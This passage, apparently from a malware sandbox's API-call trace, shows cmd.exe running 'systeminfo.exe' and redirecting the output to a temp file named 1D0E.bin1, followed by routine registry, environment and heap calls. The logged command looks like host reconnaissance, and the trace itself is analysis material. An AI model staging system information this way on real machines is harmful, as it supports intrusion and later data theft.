lpData=0x18e9c0*=0x1, lpcbData=0x18e9a4*=0x1000) returned 0x2 [0098.682] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x18e9a0, lpData=0x18e9c0, lpcbData=0x18e9a4*=0x1000 | out: lpType=0x18e9a0*=0x4, lpData=0x18e9c0*=0x0, lpcbData=0x18e9a4*=0x4) returned 0x0 [0098.682] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x18e9a0, lpData=0x18e9c0, lpcbData=0x18e9a4*=0x1000 | out: lpType=0x18e9a0*=0x4, lpData=0x18e9c0*=0x9, lpcbData=0x18e9a4*=0x4) returned 0x0 [0098.682] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x18e9a0, lpData=0x18e9c0, lpcbData=0x18e9a4*=0x1000 | out: lpType=0x18e9a0*=0x4, lpData=0x18e9c0*=0x9, lpcbData=0x18e9a4*=0x4) returned 0x0 [0098.682] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x18e9a0, lpData=0x18e9c0, lpcbData=0x18e9a4*=0x1000 | out: lpType=0x18e9a0*=0x0, lpData=0x18e9c0*=0x9, lpcbData=0x18e9a4*=0x1000) returned 0x2 [0098.682] RegCloseKey (hKey=0x44) returned 0x0 [0098.682] time (in: timer=0x0 | out: timer=0x0) returned 0x5cfd2069 [0098.682] srand (_Seed=0x5cfd2069) [0098.682] GetCommandLineW () returned="cmd /C \"systeminfo.exe > C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"" [0098.682] GetCommandLineW () returned="cmd /C \"systeminfo.exe > C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"" [0098.683] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a47c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0098.683] GetProcessHeap () returned 0x350000 [0098.683] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x218) returned 0x36ba50 [0098.683] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x36ba60, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0098.683] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a46f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0098.683] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a46f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0098.683] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a46f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0098.683] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0098.684] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0098.684] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0098.684] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0098.684] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0098.684] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0098.684] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0098.684] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0098.684] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0098.684] GetProcessHeap () returned 0x350000 [0098.684] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36a530 | out: hHeap=0x350000) returned 1 [0098.684] GetEnvironmentStringsW () returned 0x369ab0* [0098.684] GetProcessHeap () returned 0x350000 [0098.684] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xa90) returned 0x36c710 [0098.684] FreeEnvironmentStringsW (penv=0x369ab0) returned 1 [0098.684] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a46f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0098.684] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a46f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0098.684] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0098.684] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0098.684] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0098.684] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0098.684] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0098.684] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0098.684] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0098.684] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0098.684] GetProcessHeap () returned 0x350000 [0098.685] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x38) returned 0x3664f0 [0098.685] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x18f7b0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0098.685] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x104, lpBuffer=0x18f7b0, lpFilePart=0x18f790 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x18f790*="system32") returned 0x13 [0098.685] GetFileAttributesW (lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0098.685] FindFirstFileW (in: lpFileName="C:\\Windows", lpFindFileData=0x18f4c0 | out: lpFindFileData=0x18f4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdc77c7e0, ftLastAccessTime.dwHighDateTime=0x1d4d5d9, ftLastWriteTime.dwLowDateTime=0xdc77c7e0, ftLastWriteTime.dwHighDateTime=0x1d4d5d9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe20000e2, cFileName="Windows", cAlternateFileName="")) returned 0x368340 [0098.685] FindClose (in: hFindFile=0x368340 | out: hFindFile=0x368340) returned 1 [0098.685] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x18f4c0 | out: lpFindFileData=0x18f4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd859920, ftLastAccessTime.dwHighDateTime=0x1d4d5f8, ftLastWriteTime.dwLowDateTime=0xd859920, ftLastWriteTime.dwHighDateTime=0x1d4d5f8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe20000e2, cFileName="System32", cAlternateFileName="")) returned 0x368340 [0098.685] FindClose (in: hFindFile=0x368340 | out: hFindFile=0x368340) returned 1 [0098.685] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0098.685] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0098.685] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0098.685] GetProcessHeap () returned 0x350000 [0098.685] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36c710 | out: hHeap=0x350000) returned 1 [0098.685] GetEnvironmentStringsW () returned 0x369ab0* [0098.685] GetProcessHeap () returned 0x350000 [0098.685] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xac0) returned 0x36bc70 [0098.685] FreeEnvironmentStringsW (penv=0x369ab0) returned 1 [0098.685] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a47c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0098.685] GetProcessHeap () returned 0x350000 [0098.685] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x3664f0 | out: hHeap=0x350000) returned 1 [0098.685] GetProcessHeap () returned 0x350000 [0098.685] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x4016) returned 0x36dc80 [0098.686] GetProcessHeap () returned 0x350000 [0098.686] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x98) returned 0x36c740 [0098.686] GetProcessHeap () returned 0x350000 [0098.686] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x4010) returned 0x371ca0 [0098.686] GetProcessHeap () returned 0x350000 [0098.686] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x4010) returned 0x375cc0 [0098.688] GetProcessHeap () returned 0x350000 [0098.688] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36dc80 | out: hHeap=0x350000) returned 1 [0098.688] GetConsoleOutputCP () returned 0x1b5 [0098.689] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a47bfe0 | out: lpCPInfo=0x4a47bfe0) returned 1 [0098.689] GetUserDefaultLCID () returned 0x409 [0098.689] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a477b50, cchData=8 | out: lpLCData=":") returned 2 [0098.689] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x18f8c0, cchData=128 | out: lpLCData="0") returned 2 [0098.689] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x18f8c0, cchData=128 | out: lpLCData="0") returned 2 [0098.689] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x18f8c0, cchData=128 | out: lpLCData="1") returned 2 [0098.689] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a48a740, cchData=8 | out: lpLCData="/") returned 2 [0098.689] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a48a4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0098.689] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a48a460, cchData=32 | out: lpLCData="Tue") returned 4 [0098.689] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a48a420, cchData=32 | out: lpLCData="Wed") returned 4 [0098.689] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a48a3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0098.689] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a48a3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0098.689] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a48a360, cchData=32 | out: lpLCData="Sat") returned 4 [0098.689] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a48a700, cchData=32 | out: lpLCData="Sun") returned 4 [0098.689] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a477b40, cchData=8 | out: lpLCData=".") returned 2 [0098.689] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a48a4e0, cchData=8 | out: lpLCData=",") returned 2 [0098.690] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0098.690] GetProcessHeap () returned 0x350000 [0098.690] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x0, Size=0x20c) returned 0x36c7e0 [0098.690] GetConsoleTitleW (in: lpConsoleTitle=0x36c7e0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0098.691] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0098.691] GetProcAddress (hModule=0x77040000, lpProcName="CopyFileExW") returned 0x770523d0 [0098.691] GetProcAddress (hModule=0x77040000, lpProcName="IsDebuggerPresent") returned 0x77048290 [0098.691] GetProcAddress (hModule=0x77040000, lpProcName="SetConsoleInputExeNameW") returned 0x770517e0 [0098.692] GetProcessHeap () returned 0x350000 [0098.692] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x4012) returned 0x36dc80 [0098.692] GetProcessHeap () returned 0x350000 [0098.692] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36dc80 | out: hHeap=0x350000) returned 1 [0098.693] _wcsicmp (_String1="systeminfo.exe", _String2=")") returned 74 [0098.693] _wcsicmp (_String1="FOR", _String2="systeminfo.exe") returned -13 [0098.693] _wcsicmp (_String1="FOR/?", _String2="systeminfo.exe") returned -13 [0098.693] _wcsicmp (_String1="IF", _String2="systeminfo.exe") returned -10 [0098.693] _wcsicmp (_String1="IF/?", _String2="systeminfo.exe") returned -10 [0098.693] _wcsicmp (_String1="REM", _String2="systeminfo.exe") returned -1 [0098.693] _wcsicmp (_String1="REM/?", _String2="systeminfo.exe") returned -1 [0098.693] GetProcessHeap () returned 0x350000 [0098.693] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xb0) returned 0x36ca00 [0098.693] GetProcessHeap () returned 0x350000 [0098.693] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x2e) returned 0x3664f0 [0098.693] GetProcessHeap () returned 0x350000 [0098.693] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x14) returned 0x36cac0 [0098.693] GetProcessHeap () returned 0x350000 [0098.693] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x38) returned 0x366570 [0098.695] GetProcessHeap () returned 0x350000 [0098.695] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x6e) returned 0x36cae0 [0098.696] GetProcessHeap () returned 0x350000 [0098.696] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x28) returned 0x3645f0 [0098.696] _get_osfhandle (_FileHandle=1) returned 0x7 [0098.696] _get_osfhandle (_FileHandle=1) returned 0x7 [0098.696] _get_osfhandle (_FileHandle=1) returned 0x7 [0098.696] GetFileType (hFile=0x7) returned 0x2 [0098.696] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0098.697] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x18f798 | out: lpMode=0x18f798) returned 1 [0098.697] _dup (_FileHandle=1) returned 3 [0098.697] _close (_FileHandle=1) returned 0 [0098.697] _wcsicmp (_String1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1", _String2="con") returned -53 [0098.697] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\1d0e.bin1"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x18f748, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50 [0098.698] _open_osfhandle (_OSFileHandle=0x50, _Flags=8) returned 1 [0098.698] GetConsoleTitleW (in: lpConsoleTitle=0x18f7d0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0098.698] GetFileAttributesW (lpFileName="systeminfo.exe" (normalized: "c:\\windows\\system32\\systeminfo.exe")) returned 0x20 [0098.699] _wcsicmp (_String1="systeminfo.exe", _String2="DIR") returned 15 [0098.699] _wcsicmp (_String1="systeminfo.exe", _String2="ERASE") returned 14 [0098.699] _wcsicmp (_String1="systeminfo.exe", _String2="DEL") returned 15 [0098.699] _wcsicmp (_String1="systeminfo.exe", _String2="TYPE") returned -1 [0098.699] _wcsicmp (_String1="systeminfo.exe", _String2="COPY") returned 16 [0098.699] _wcsicmp (_String1="systeminfo.exe", _String2="CD") returned 16 [0098.700] _wcsicmp (_String1="systeminfo.exe", _String2="CHDIR") returned 16 [0098.700] _wcsicmp (_String1="systeminfo.exe", _String2="RENAME") returned 1 [0098.700] _wcsicmp (_String1="systeminfo.exe", _String2="REN") returned 1 [0098.700] _wcsicmp (_String1="systeminfo.exe", _String2="ECHO") returned 14 [0098.700] _wcsicmp (_String1="systeminfo.exe", _String2="SET") returned 20 [0098.700] _wcsicmp (_String1="systeminfo.exe", _String2="PAUSE") returned 3 [0098.700] _wcsicmp (_String1="systeminfo.exe", _String2="DATE") returned 15 [0098.700] _wcsicmp (_String1="systeminfo.exe", _String2="TIME") returned -1 [0098.700] _wcsicmp (_String1="systeminfo.exe", _String2="PROMPT") returned 3 [0098.700] _wcsicmp (_String1="systeminfo.exe", _String2="MD") returned 6 [0098.700] _wcsicmp (_String1="systeminfo.exe", _String2="MKDIR") returned 6 [0098.700] _wcsicmp (_String1="systeminfo.exe", _String2="RD") returned 1 [0098.700] _wcsicmp (_String1="systeminfo.exe", _String2="RMDIR") returned 1 [0098.700] _wcsicmp (_String1="systeminfo.exe", _String2="PATH") returned 3 [0098.700] _wcsicmp (_String1="systeminfo.exe", _String2="GOTO") returned 12 [0098.700] _wcsicmp (_String1="systeminfo.exe", _String2="SHIFT") returned 17 [0098.700] _wcsicmp (_String1="systeminfo.exe", _String2="CLS") returned 16 [0098.700] _wcsicmp (_String1="systeminfo.exe", _String2="CALL") returned 16 [0098.700] _wcsicmp (_String1="systeminfo.exe", _String2="VERIFY") returned -3 [0098.700] _wcsicmp (_String1="systeminfo.exe", _String2="VER") returned -3 [0098.700] _wcsicmp (_String1="systeminfo.exe", _String2="VOL") returned -3 [0098.700] _wcsicmp (_String1="systeminfo.exe", _String2="EXIT") returned 14 [0098.700] _wcsicmp (_String1="systeminfo.exe", _String2="SETLOCAL") returned 20 [0098.700] _wcsicmp (_String1="systeminfo.exe", _String2="ENDLOCAL") returned 14 [0098.700] _wcsicmp (_String1="systeminfo.exe", _String2="TITLE") returned -1 [0098.700] _wcsicmp (_String1="systeminfo.exe", _String2="START") returned 5 [0098.700] _wcsicmp (_String1="systeminfo.exe", _String2="DPATH") returned 15 [0098.700] _wcsicmp (_String1="systeminfo.exe", _String2="KEYS") returned 8 [0098.700] _wcsicmp (_String1="systeminfo.exe", _String2="MOVE") returned 6 [0098.700] _wcsicmp (_String1="systeminfo.exe", _String2="PUSHD") returned 3 [0098.700] _wcsicmp (_String1="systeminfo.exe", _String2="POPD") returned 3 [0098.700] _wcsicmp (_String1="systeminfo.exe", _String2="ASSOC") returned 18 [0098.700] _wcsicmp (_String1="systeminfo.exe", _String2="FTYPE") returned 13 [0098.700] _wcsicmp (_String1="systeminfo.exe", _String2="BREAK") returned 17 [0098.700] _wcsicmp (_String1="systeminfo.exe", _String2="COLOR") returned 16 [0098.700] _wcsicmp (_String1="systeminfo.exe", _String2="MKLINK") returned 6 [0098.700] _wcsicmp (_String1="systeminfo.exe", _String2="DIR") returned 15 [0098.700] _wcsicmp (_String1="systeminfo.exe", _String2="ERASE") returned 14 [0098.700] _wcsicmp (_String1="systeminfo.exe", _String2="DEL") returned 15 [0098.700] _wcsicmp (_String1="systeminfo.exe", _String2="TYPE") returned -1 [0098.700] _wcsicmp (_String1="systeminfo.exe", _String2="COPY") returned 16 [0098.701] _wcsicmp (_String1="systeminfo.exe", _String2="CD") returned 16 [0098.701] _wcsicmp (_String1="systeminfo.exe", _String2="CHDIR") returned 16 [0098.701] _wcsicmp (_String1="systeminfo.exe", _String2="RENAME") returned 1 [0098.701] _wcsicmp (_String1="systeminfo.exe", _String2="REN") returned 1 [0098.701] _wcsicmp (_String1="systeminfo.exe", _String2="ECHO") returned 14 [0098.701] _wcsicmp (_String1="systeminfo.exe", _String2="SET") returned 20 [0098.701] _wcsicmp (_String1="systeminfo.exe", _String2="PAUSE") returned 3 [0098.701] _wcsicmp (_String1="systeminfo.exe", _String2="DATE") returned 15 [0098.701] _wcsicmp (_String1="systeminfo.exe", _String2="TIME") returned -1 [0098.701] _wcsicmp (_String1="systeminfo.exe", _String2="PROMPT") returned 3 [0098.701] _wcsicmp (_String1="systeminfo.exe", _String2="MD") returned 6 [0098.701] _wcsicmp (_String1="systeminfo.exe", _String2="MKDIR") returned 6 [0098.701] _wcsicmp (_String1="systeminfo.exe", _String2="RD") returned 1 [0098.701] _wcsicmp (_String1="systeminfo.exe", _String2="RMDIR") returned 1 [0098.701] _wcsicmp (_String1="systeminfo.exe", _String2="PATH") returned 3 [0098.701] _wcsicmp (_String1="systeminfo.exe", _String2="GOTO") returned 12 [0098.701] _wcsicmp (_String1="systeminfo.exe", _String2="SHIFT") returned 17 [0098.701] _wcsicmp (_String1="systeminfo.exe", _String2="CLS") returned 16 [0098.701] _wcsicmp (_String1="systeminfo.exe", _String2="CALL") returned 16 [0098.701] _wcsicmp (_String1="systeminfo.exe", _String2="VERIFY") returned -3 [0098.701] _wcsicmp (_String1="systeminfo.exe", _String2="VER") returned -3 [0098.701] _wcsicmp (_String1="systeminfo.exe", _String2="VOL") returned -3 [0098.701] _wcsicmp (_String1="systeminfo.exe", _String2="EXIT") returned 14 [0098.701] _wcsicmp (_String1="systeminfo.exe", _String2="SETLOCAL") returned 20 [0098.701] _wcsicmp (_String1="systeminfo.exe", _String2="ENDLOCAL") returned 14 [0098.701] _wcsicmp (_String1="systeminfo.exe", _String2="TITLE") returned -1 [0098.701] _wcsicmp (_String1="systeminfo.exe", _String2="START") returned 5 [0098.701] _wcsicmp (_String1="systeminfo.exe", _String2="DPATH") returned 15 [0098.701] _wcsicmp (_String1="systeminfo.exe", _String2="KEYS") returned 8 [0098.701] _wcsicmp (_String1="systeminfo.exe", _String2="MOVE") returned 6 [0098.701] _wcsicmp (_String1="systeminfo.exe", _String2="PUSHD") returned 3 [0098.701] _wcsicmp (_String1="systeminfo.exe", _String2="POPD") returned 3 [0098.701] _wcsicmp (_String1="systeminfo.exe", _String2="ASSOC") returned 18 [0098.701] _wcsicmp (_String1="systeminfo.exe", _String2="FTYPE") returned 13 [0098.701] _wcsicmp (_String1="systeminfo.exe", _String2="BREAK") returned 17 [0098.701] _wcsicmp (_String1="systeminfo.exe", _String2="COLOR") returned 16 [0098.701] _wcsicmp (_String1="systeminfo.exe", _String2="MKLINK") returned 6 [0098.701] _wcsicmp (_String1="systeminfo.exe", _String2="FOR") returned 13 [0098.701] _wcsicmp (_String1="systeminfo.exe", _String2="IF") returned 10 [0098.701] _wcsicmp (_String1="systeminfo.exe", _String2="REM") returned 1 [0098.702] GetProcessHeap () returned 0x350000 [0098.702] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x218) returned 0x36cb60 [0098.702] GetProcessHeap () returned 0x350000 [0098.702] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x32) returned 0x3665f0 [0098.702] _wcsnicmp (_String1="syst", _String2="cmd ", _MaxCount=0x4) returned 16 [0098.702] GetProcessHeap () returned 0x350000 [0098.702] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x420) returned 0x36cd80 [0098.703] SetErrorMode (uMode=0x0) returned 0x0 [0098.703] SetErrorMode (uMode=0x1) returned 0x0 [0098.703] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x36cd90, lpFilePart=0x18f060 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x18f060*="system32") returned 0x13 [0098.703] SetErrorMode (uMode=0x0) returned 0x1 [0098.703] GetProcessHeap () returned 0x350000 [0098.703] RtlReAllocateHeap (Heap=0x350000, Flags=0x0, Ptr=0x36cd80, Size=0x56) returned 0x36cd80 [0098.703] GetProcessHeap () returned 0x350000 [0098.703] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36cd80) returned 0x56 [0098.703] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a46f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0098.703] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0098.703] GetProcessHeap () returned 0x350000 [0098.703] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x104) returned 0x36cdf0 [0098.703] GetProcessHeap () returned 0x350000 [0098.703] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x1f8) returned 0x36cf00 [0098.706] GetProcessHeap () returned 0x350000 [0098.706] RtlReAllocateHeap (Heap=0x350000, Flags=0x0, Ptr=0x36cf00, Size=0x106) returned 0x36cf00 [0098.706] GetProcessHeap () returned 0x350000 [0098.706] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36cf00) returned 0x106 [0098.706] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a46f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0098.706] GetProcessHeap () returned 0x350000 [0098.706] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xe8) returned 0x36d020 [0098.706] GetProcessHeap () returned 0x350000 [0098.706] RtlReAllocateHeap (Heap=0x350000, Flags=0x0, Ptr=0x36d020, Size=0x7e) returned 0x36d020 [0098.706] GetProcessHeap () returned 0x350000 [0098.706] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x36d020) returned 0x7e [0098.708] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0098.708] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\systeminfo.exe", fInfoLevelId=0x1, lpFindFileData=0x18edd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18edd0) returned 0x36d0b0 [0098.709] GetProcessHeap () returned 0x350000 [0098.709] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x0, Size=0x28) returned 0x364620 [0098.709] FindClose (in: hFindFile=0x36d0b0 | out: hFindFile=0x36d0b0) returned 1 [0098.709] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0098.709] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0098.709] GetConsoleTitleW (in: lpConsoleTitle=0x18f320, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0098.709] InitializeProcThreadAttributeList (in: lpAttributeList=0x18f0d8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x18f098 | out: lpAttributeList=0x18f0d8, lpSize=0x18f098) returned 1 [0098.709] UpdateProcThreadAttribute (in: lpAttributeList=0x18f0d8, dwFlags=0x0, Attribute=0x60001, lpValue=0x18f088, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x18f0d8, lpPreviousValue=0x0) returned 1 [0098.709] GetStartupInfoW (in: lpStartupInfo=0x18f1f0 | out: lpStartupInfo=0x18f1f0*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x0, hStdError=0x0)) [0098.709] GetProcessHeap () returned 0x350000 [0098.709] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x20) returned 0x364650 [0098.709] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38 [0098.709] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0098.709] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0098.709] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0098.709] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0098.709] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0098.709] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0098.709] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0098.709] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0098.709] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0098.709] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0098.709] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0098.709] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0098.709] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0098.709] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0098.709] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0098.710] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0098.710] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0098.710] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0098.710] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0098.710] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 